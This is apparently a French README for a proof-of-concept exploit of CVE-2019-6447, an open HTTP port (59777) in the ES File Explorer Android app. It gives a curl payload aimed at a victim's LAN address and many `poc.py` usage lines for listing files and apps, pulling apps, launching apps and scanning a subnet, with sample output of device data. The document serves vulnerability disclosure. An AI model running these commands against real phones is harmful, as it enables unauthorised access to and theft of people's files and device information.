ES File Explorer Open Port Vulnerability - CVE-2019-6447

Selon leur description Google Play :

ES File Explorer (File Manager) est un gestionnaire de fichiers complet (images, musique, films, documents, applications) pour une utilisation locale et réseau ! Avec plus de 500 millions d'utilisateurs dans le monde, ES File Explorer (File Manager) aide à gérer votre téléphone Android et vos fichiers de manière efficace et efficiente, et à partager des fichiers sans coût de données.

Chaque fois qu'un utilisateur lance l'application, un serveur HTTP est démarré. Ce serveur ouvre localement le port 59777 :

angler:/ # netstat -ap | grep com.estrongs
tcp6       0      0 :::59777                :::*                    LISTEN      5696/com.estrongs.android.pop

Sur ce port, un attaquant peut envoyer une charge utile JSON à la cible

curl --header "Content-Type: application/json" --request POST --data '{"command":"[my_awesome_cmd]"}' http://192.168.0.8:59777

Ces commandes permettent à un attaquant connecté au même réseau local que la victime d'obtenir une multitude d'informations intéressantes (informations sur l'appareil, applications installées, ...) sur le téléphone de la victime, de récupérer un fichier à distance depuis le téléphone de la victime et de lancer une application à distance sur le téléphone de la victime.

Versions affectées

4.1.9.7.4 et versions antérieures

Fonctionnalités du POC

Avec le Proof Of Concept (POC) suivant, vous pouvez :

Lister tous les fichiers de la carte SD sur l'appareil de la victime
Lister toutes les images sur l'appareil de la victime
Lister toutes les vidéos sur l'appareil de la victime
Lister tous les fichiers audio sur l'appareil de la victime
Lister toutes les applications installées sur l'appareil de la victime
Lister toutes les applications système installées sur l'appareil de la victime
Lister toutes les applications téléphoniques installées sur l'appareil de la victime
Lister tous les fichiers APK stockés sur la carte SD de l'appareil de la victime
Lister toutes les applications installées sur l'appareil de la victime
Obtenir les informations sur l'appareil de la victime
Récupérer un fichier depuis l'appareil de la victime
Lancer une application de votre choix
Obtenir l'icône d'une application de votre choix

Démo

Comment faire

$ python poc.py -g /sdcard/Android/media/com.google.android.talk/Ringtones/hangouts_incoming_call.ogg

$ python poc.py --cmd appPull --pkg com.tencent.mm

$ python poc.py --cmd getAppThumbnail --pkg com.tencent.mm

$ python poc.py --cmd appLaunch --pkg com.tencent.mm
{"result":"0"}

$ python poc.py --cmd getDeviceInfo
{"name":"Nexus 6P", "ftpRoot":"/sdcard", "ftpPort":"3721"}

$ python poc.py --cmd listAppsAll
{"packageName":"com.google.android.carriersetup", "label":"Carrier Setup", "version":"8.1.0", "versionCode":"27", "location":"/system/priv-app/CarrierSetup/CarrierSetup.apk", "size":"2462870", "status":"null", "mTime":"1230796800000"},
{"packageName":"com.android.cts.priv.ctsshim", "label":"com.android.cts.priv.ctsshim", "version":"8.1.0-4396705", "versionCode":"27", "location":"/system/priv-app/CtsShimPrivPrebuilt/CtsShimPrivPrebuilt.apk", "size":"22744", "status":"null", "mTime":"1230796800000"}

$ python poc.py --cmd listAppsPhone
{"packageName":"com.google.android.carriersetup", "label":"Carrier Setup", "version":"8.1.0", "versionCode":"27", "location":"/system/priv-app/CarrierSetup/CarrierSetup.apk", "size":"2462870", "status":"null", "mTime":"1230796800000"}

$ python poc.py --cmd listAppsSystem
{"packageName":"com.google.android.carriersetup", "label":"Carrier Setup", "version":"8.1.0", "versionCode":"27", "location":"/system/priv-app/CarrierSetup/CarrierSetup.apk", "size":"2462870", "status":"null", "mTime":"1230796800000"}

$ python poc.py --cmd listApps
{"packageName":"com.google.android.youtube", "label":"YouTube", "version":"13.50.52", "versionCode":"1350523400", "location":"/data/app/com.google.android.youtube-hg9X1FaylPbUXO1SaiFtkg==/base.apk", "size":"36860368", "status":"com.google.android.apps.youtube.app.application.backup.YouTubeBackupAgent", "mTime":"1545337705957"}

$ python poc.py --cmd listAppsSdcard

$ python poc.py --cmd listAudios
{"name":"hangouts_incoming_call.ogg", "time":"10/17/18 11:33:16 PM", "location":"/storage/emulated/0/Android/media/com.google.android.talk/Ringtones/hangouts_incoming_call.ogg", "duration":5000, "size":"74.63 KB (76,425 Bytes)", }

$ python poc.py --cmd listPics
{"name":"mmexport1546422097497.jpg", "time":"1/2/19 10:41:37 AM", "location":"/storage/emulated/0/tencent/MicroMsg/WeChat/mmexport1546422097497.jpg", "size":"38.80 KB (39,734 Bytes)", }

$ python poc.py --cmd listVideos

$ python poc.py --cmd listFiles

$ python poc.py --cmd listFiles --network 192.168.1.

$ python poc.py --cmd listFiles --ip 192.168.4.17

$ python poc.py list

######################
# Available Commands #
######################

listFiles: List all the files
listPics: List all the pictures
listVideos: List all the videos
listAudios: List all the audio files
listApps: List all the apps installed
listAppsSystem: List all the system apps
listAppsPhone: List all the phone apps
listAppsSdcard: List all the apk files in the sdcard
listAppsAll: List all the apps installed (system apps included)
getDeviceInfo: Get device info
appPull: Pull an app from the device. Package name parameter is needed
appLaunch: Launch an app. Package name parameter is needed
getAppThumbnail: Get the icon of an app. Package name parameter is needed

Contact

Suivez-moi sur Twitter ! Vous pouvez également retrouver une petite partie de mon travail sur https://fs0c131y.com

Crédits

Suite à une astuce de @moonbocal, l'investigation et le POC ont été réalisés avec ❤️ par @fs0c131y

Populaires

ESFileExplorerOpenPortVuln